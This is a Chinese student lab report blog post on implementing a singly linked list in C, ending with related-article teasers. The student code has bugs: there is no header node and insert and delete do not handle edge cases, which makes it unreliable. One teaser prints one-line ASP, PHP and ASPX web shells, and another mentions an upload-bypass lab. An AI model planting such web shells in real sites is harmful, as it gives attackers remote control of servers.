二工大C语言版数据结构《实验报告2》:单链表

 

具体题目如下: 

#include <stdio.h>
#include <stdlib.h>
#include <conio.h>//单链表的定义:
typedef int DataType;        //DataType可以是任何相应的数据类型如int, float或chartypedef struct node            //结点类型定义
{    DataType data;            //结点的数据域struct node *next;        //结点的指针域
}ListNode;typedef ListNode *LinkList;int main()
{int i;DataType key,x;LinkList head=NULL;LinkList CreateList();void PrintList(LinkList head);void LocateNode(LinkList head,DataType key);void InsertList(LinkList head,DataType x,int i);void DeleteList(LinkList head,int i);void ChangeCircList(LinkList head);void PrintCircList(LinkList head);char choice;while (1){system("cls");printf("\n\n\n\n");printf("\t\t              链表操作  \n");printf("\t\t======================================");printf("\n\n");printf("\t\t             1:建立单链表            \n");printf("\t\t             2:显示单链表            \n");printf("\t\t             3:查找                  \n");printf("\t\t             4:插入                  \n");printf("\t\t             5:删除                  \n");printf("\t\t             6:改为循环单链表并显示  \n");printf("\n");printf("\t\t             0:退出        \n");printf("\n");printf("\t\t请选择:");choice = getch();system("cls");switch(choice){case '1':head=CreateList();printf("链表创建成功!\n");getch();break;case '2':PrintList(head);getch();break;case '3':printf("输入要查找的值:");scanf("%d",&key);LocateNode(head,key);    //单链表查找getch();break;case '4':                printf("请输入欲插入元素的位置:");scanf("%d",&i);                printf("请输入欲插入的元素:");scanf("%d",&x);InsertList(head,x,i);    //单链表插入getch();break;case '5':printf("请输入欲删除结点的位置:");scanf("%d",&i);DeleteList(head,i);        //单链表删除break;            case '6':ChangeCircList(head);    //修改为循环单链表PrintCircList(head);    //打印循环单链表getch();break;case '0':exit(0);}}
}//单链表的建立:
LinkList CreateList()
{//在此插入必要的语句return head;
}//单链表的打印:
void PrintList(LinkList head)
{//在此插入必要的语句
}//单链表的查找:
void LocateNode(LinkList head,DataType key)
{//在此插入必要的语句
}//单链表的插入:
void InsertList(LinkList head,DataType x,int i)
{    //在此插入必要的语句
}//单链表的删除:
void DeleteList(LinkList head,int i)
{//在此插入必要的语句
}//修改为循环单链表:
void ChangeCircList(LinkList head)
{//在此插入必要的语句
}//循环单链表的打印:
void PrintCircList(LinkList head)
{//在此插入必要的语句
}

需要完成的代码如下:

  1. 从键盘输入10个整数,产生带表头的单链表,并输入结点值。
  2. 从键盘输入1个整数,在单链表中查找该结点。若找到,则显示“找到了”;否则,则显示“找不到”。
  3. 从键盘输入2个整数,一个表示欲插入的位置i,另一个表示欲插入的数值x,将x插入在对应位置上,输出单链表所有结点值,观察输出结果。
  4. 从键盘输入1个整数,表示欲删除结点的位置,输出单链表所有结点值,观察输出结果。
  5. 把单链表变成带表头结点的循环链表,输出循环单链表所有结点值,观察输出结果。

1.单链表的建立与打印

//单链表的建立:
LinkList CreateList()
{//输入10个数int arr[10];int i=0;for(i=0;i<=9;i++){scanf("%d",&arr[i]);} //创建结点LinkList node1 = (LinkList)malloc(sizeof(ListNode));node1->data=arr[0];LinkList node2 = (LinkList)malloc(sizeof(ListNode));node2->data=arr[1];LinkList node3 = (LinkList)malloc(sizeof(ListNode));node3->data=arr[2];LinkList node4 = (LinkList)malloc(sizeof(ListNode));node4->data=arr[3];LinkList node5 = (LinkList)malloc(sizeof(ListNode));node5->data=arr[4];LinkList node6 = (LinkList)malloc(sizeof(ListNode));node6->data=arr[5];LinkList node7 = (LinkList)malloc(sizeof(ListNode));node7->data=arr[6];LinkList node8 = (LinkList)malloc(sizeof(ListNode));node8->data=arr[7];LinkList node9 = (LinkList)malloc(sizeof(ListNode));node9->data=arr[8];LinkList node10 = (LinkList)malloc(sizeof(ListNode));node10->data=arr[9];//链接10个结点 node1->next = node2;node2->next = node3;node3->next = node4;node4->next = node5; node5->next = node6;node6->next = node7;node7->next = node8;node8->next = node9;node9->next = node10;node10->next = NULL;LinkList head = node1; //让头指针指向第二个结点 return head;
}//单链表的打印:
void PrintList(LinkList head)
{LinkList pcur = head; //让head指针依旧指向原结点 while (pcur)  //pcur != NULL{printf("%d->", pcur->data);pcur = pcur->next;}printf("NULL\n");
}

2.单链表的查找

	LinkList pcur = head;int count=0,flag=0;while(pcur){count++;if(pcur->data==key){flag=1;printf("找到了!在第%d个结点",count);}pcur=pcur->next;}if(flag==0){printf("没找到"); }

3.单链表的插入

void InsertList(LinkList head,DataType x,int i)
{	int j=0;LinkList current = head;//从头遍历 while(current->next!=NULL){j++;//计数,若j=i-1,循环退出if (j==i-1){break;} current = current->next;}LinkList p = (LinkList) malloc (sizeof (ListNode));//建立新结点p->data = x;p->next = current->next;current->next = p;
}

4.单链表的删除

void DeleteList(LinkList head,int i)
{int j=0;LinkList current = head;//从头遍历 while(current->next!=NULL){j++;//计数,若j=i-1,循环退出if (j==i-1){break;} current = current->next;}current->next = current->next->next;
}

5.循环单链表的修改与表示

//修改为循环单链表:
void ChangeCircList(LinkList head)
{LinkList current = head;int j=0; while(current->next!=NULL)//当current下一个非空 {current = current->next;if (current->next==NULL)//如果current下一个为空,说明current到尾部 {current->next = head;break;}}
}//循环单链表的打印:
void PrintCircList(LinkList head)
{int j,n;n=10;LinkList current = head;for(j=0;j<n;j++){printf("%d ",current->data);current=current->next;}
}

 

6.全部代码

全部代码是由我和我室友共同思考得出,快和我一起大声说:“谢谢室友!”

//单链表的建立:
LinkList CreateList()
{//输入10个数int arr[10];int i=0;for(i=0;i<=9;i++){scanf("%d",&arr[i]);} //创建结点LinkList node1 = (LinkList)malloc(sizeof(ListNode));node1->data=arr[0];LinkList node2 = (LinkList)malloc(sizeof(ListNode));node2->data=arr[1];LinkList node3 = (LinkList)malloc(sizeof(ListNode));node3->data=arr[2];LinkList node4 = (LinkList)malloc(sizeof(ListNode));node4->data=arr[3];LinkList node5 = (LinkList)malloc(sizeof(ListNode));node5->data=arr[4];LinkList node6 = (LinkList)malloc(sizeof(ListNode));node6->data=arr[5];LinkList node7 = (LinkList)malloc(sizeof(ListNode));node7->data=arr[6];LinkList node8 = (LinkList)malloc(sizeof(ListNode));node8->data=arr[7];LinkList node9 = (LinkList)malloc(sizeof(ListNode));node9->data=arr[8];LinkList node10 = (LinkList)malloc(sizeof(ListNode));node10->data=arr[9];//链接10个结点 node1->next = node2;node2->next = node3;node3->next = node4;node4->next = node5; node5->next = node6;node6->next = node7;node7->next = node8;node8->next = node9;node9->next = node10;node10->next = NULL;LinkList head = node1; //让头指针指向第二个结点 return head;//在此插入必要语句
}//单链表的打印:
void PrintList(LinkList head)
{LinkList pcur = head; //让head指针依旧指向原结点 while (pcur)  //pcur != NULL{printf("%d->", pcur->data);pcur = pcur->next;}printf("NULL\n");//在此插入必要语句
}//单链表的查找:
void LocateNode(LinkList head,DataType key)
{LinkList pcur = head;int count=0,flag=0;while(pcur){count++;if(pcur->data==key){flag=1;printf("找到了!在第%d个结点",count);}pcur=pcur->next;}if(flag==0){printf("没找到"); }//在此插入必要语句
}//单链表的插入:
void InsertList(LinkList head,DataType x,int i)
{	int j=0;LinkList current = head;//从头遍历 while(current->next!=NULL){j++;//计数,若j=i-1,循环退出if (j==i-1){break;} current = current->next;}LinkList p = (LinkList) malloc (sizeof (ListNode));//建立新结点p->data = x;p->next = current->next;current->next = p;//在此插入必要的语句
}//单链表的删除:
void DeleteList(LinkList head,int i)
{int j=0;LinkList current = head;//从头遍历 while(current->next!=NULL){j++;//计数,若j=i-1,循环退出if (j==i-1){break;} current = current->next;}current->next = current->next->next;//在此插入必要的语句
}//修改为循环单链表:
void ChangeCircList(LinkList head)
{LinkList current = head;int j=0; while(current->next!=NULL)//当current下一个非空 {current = current->next;if (current->next==NULL)//如果current下一个为空,说明current到尾部 {current->next = head;break;}}//在此插入必要的语句
}//循环单链表的打印:
void PrintCircList(LinkList head)
{int j,n;n=10;LinkList current = head;for(j=0;j<n;j++){printf("%d ",current->data);current=current->next;}//在此插入必要的语句
}

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/824754.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【动态规划】切割钢条详解python

1. 问题介绍和应用场景 切割钢条问题是运筹学和算法设计中的一个经典问题&#xff0c;涉及如何最优化切割有限资源以最大化收益。这个问题经常用作动态规划教学的入门案例&#xff0c;同时在工业生产中也有实际应用&#xff0c;比如在金属加工业中如何切割原材料以减少浪费并增…

pg_top 实时监控工具-编译安装

os: centos 7.9.2009 db: postgresql 14.7 安装依赖包 sudo yum install libbsd libbsd-devel下载安装 su - pgsqlwget https://gitlab.com/pg_top/pg_top/-/archive/main/pg_top-main.tar.gztar -zxvf ./pg_top-main.tar.gzcd pg_top-maincmake -DCMAKE_INSTALL_PREFIX/dat…

live2d看板娘资源-地址

引自网页添加 Live2D 看板娘&#xff08;菜鸟级详细教程&#xff09; - 妖妖未初 - 博客园 (cnblogs.com) live2d看板娘资源网 Index of / (oml2d.com) 别人开源的OhMyLive2D (oml2d.com) 如果想换其他模版&#xff0c;可以修改 jsonPath 的路径&#xff0c;可选的模型&…

EelasticSearch是什么?及EelasticSearch的安装

一、概述 Elasticsearch 是一个基于 Apache Lucene 构建的开源分布式搜索引擎和分析引擎。它专为云计算环境设计&#xff0c;提供了一个分布式的、高可用的实时分析和搜索平台。Elasticsearch 可以处理大量数据&#xff0c;并且具备横向扩展能力&#xff0c;能够通过增加更多的…

Jmeter三个常用组件

Jmeter三个常用组件 一、线程组二、 HTTP请求三、查看结果树 线程组&#xff1a;jmeter是基于线程来运行的&#xff0c;线程组主要用来管理线程的数量&#xff0c;线程的执行策略。 HTTP请求&#xff1a;HTTP请求是jmeter接口测试的核心部分&#xff0c;主要使用HTTP取样器来发…

数仓中的数据倾斜问题

- 如何来判断是否发生了数据倾斜问题&#xff1a; 可以根据Spark 的webUI 中的相关指标来判断 spark webUI中的stages 页面的中就是stage数量 &#xff1a; 宽依赖数&#xff08;shuffle 数量&#xff09;导致宽依赖的算子数 n&#xff08;读取表的数量&#xff09; 点击不…

Android 12 如何加载 native 原生库

在 Android 7.0 及更高版本中&#xff0c;系统库与应用库是分开的。 图1. 原生库的命名空间 原生库的命名空间可防止应用使用私有平台的原生 API&#xff08;例如使用 OpenSSL&#xff09;。该命名空间还可以避免应用意外使用平台库&#xff08;而非它们自己的库&#xff09;的…

ES源码四:网络通信层流程

听说ES网络层很难&#xff1f;今天来卷它&#x1f604; 前言 ES网络层比较复杂&#xff0c;分为两个部分&#xff1a; 基于HTTP协议的REST服务端基于TCP实现的PRC框架 插件化设计的网络层模块&#xff08;NetworkModule&#xff09; 入口还是上一章的创建Node构造方法的地方…

mysqlslap压力测试和线程池

目录 1. mysqlslap介绍 2. mysqlslap常用参数 3. 开始测试 3.1 单线程 3.2 多线程 3.3 50和100个并发 3.4 迭代测试 4.结果解释 5.线程池 5.1 开启线程池 5.2 关于线程池的参数 1. mysqlslap介绍 mysqlslap是一个诊断程序&#xff0c;旨在模拟客户端并发访问MySQ…

【MySQL 安装与配置】Window简单安装MySQL,并配置局域网连接

文章日期&#xff1a;2024.04.17 系统&#xff1a;Window10 || Window11 类型&#xff1a;安装与配置MySQL数据库 文章全程已做去敏处理&#xff01;&#xff01;&#xff01; 【需要做的可联系我】 AES解密处理&#xff08;直接解密即可&#xff09;&#xff08;crypto-js.js…

系统稳定性建设

说到系统稳定性&#xff0c;不知道大家会想起什么&#xff1f;大多数人会觉得这个词挺虚的&#xff0c;不知道系统稳定性指的是什么。 一年前看到这个词&#xff0c;也是类似于这样的感受&#xff0c;大概只知道要消除单点、做好监控报警&#xff0c;但却并没有一个体系化的方…

一句话木马

asp一句话木马&#xff1a; <%execute(request("value"))%> php一句话木马&#xff1a; <?phpeval($_POST[value]);?> 变形&#xff1a;<?php$x$_GET[‘z’];eval(“$x;”);?> aspx一句话木马&#xff1a; <% PageLanguage"Jscri…

记录一下我102连不上MySQL的问题 NotBefore

【背景描述】我在102上是能登录上MySQL的&#xff0c;但是用客户端&#xff08;DataGrip、SQLyog就连不上&#xff09; 【解决方案】 加个这个?useSSLfalse&serverTimezoneUTC 【另外的小问题】如果直接输mysql 上面这个不是报错&#xff0c;不用管 再输mysql -uroot -p…

Golang学习笔记_RabbitMQ的原理架构和使用

RabbitMQ 简介 实现了高级消息队列协议&#xff08;Advanced Message Queuing Protcol&#xff09;AMQP消息队列中间件的作用&#xff08;Redis实现MQ里面有写过&#xff0c;这里简单带过&#xff09; 解耦削峰异步处理缓存消息通信提高扩展性 RabbitMQ 架构理解 #mermaid-s…

upload-labs靶场详解

靶场环境 下载链接&#xff1a;https://codeload.github.com/c0ny1/upload-labs/zip/refs/heads/master 使用小皮集成环境来完成这个靶场 将文件放到WWW目录下就可以进行访问 进入关卡后页面呈现&#xff1a; Pass-01&#xff08;前端绕过&#xff09; 我们先尝试上传一个web.…

[svelte]属性和逻辑块

属性 / Default values • Svelte 教程 | Svelte 中文网 属性 Declaring props 到目前为止&#xff0c;我们只处理了内部状态——也就是说&#xff0c;这些值只能在给定的组件中访问。 在任何实际应用程序中&#xff0c;都需要将数据从一个组件向下传递到其子组件。为此&…

【Spring】-编程式事务和声明式事务

spring中控制事务的方式有两种&#xff1a;编程式事务和声明式事务&#xff0c;今天我以两种事务出发&#xff0c;对spring中实现事务的EnableTransactionManagement和Transaction两个注解的底层原理进行讨论。 一、编程式事务 什么是编程式事务&#xff1f; 硬编码的方式实现…

Adobe将Sora、Runway、Pika,集成在PR中

4月15日晚&#xff0c;全球多媒体巨头Adobe在官网宣布&#xff0c;将OpenAI的Sora、Pika 、Runway等著名第三方文生视频模型&#xff0c;集成在视频剪辑软件Premiere Pro中&#xff08;简称“PR”&#xff09;。 同时&#xff0c;Adob也会将自身研发的Firefly系列模型包括视频…

【Python】高级进阶(专版提升3)

Python 1 程序结构1.1 模块 Module1.1.1 定义1.1.2 作用1.1.3 导入1.1.3.1 import1.1.3.2 from import 1.1.4 模块变量1.1.5 加载过程1.1.6 分类 1.2 包package1.2.1 定义1.2.2 作用1.2.3 导入1.1.3.1 import1.1.3.2 from import 2 异常处理Error2.1 异常2.2 处理 3 迭代3.1 可…

InfluxDB v1.8

数据存储模型 points(数据点)time(时间戳)measurement(测量指标)field(测量值 key-value)至少一个tag(标签 key-value)零或多个和MySQL对比 series是共享同一个retention policy,measurement以及tag set的数据集合 InfluxDBMySQLmeasurementtablepointscoltagrow(with index)…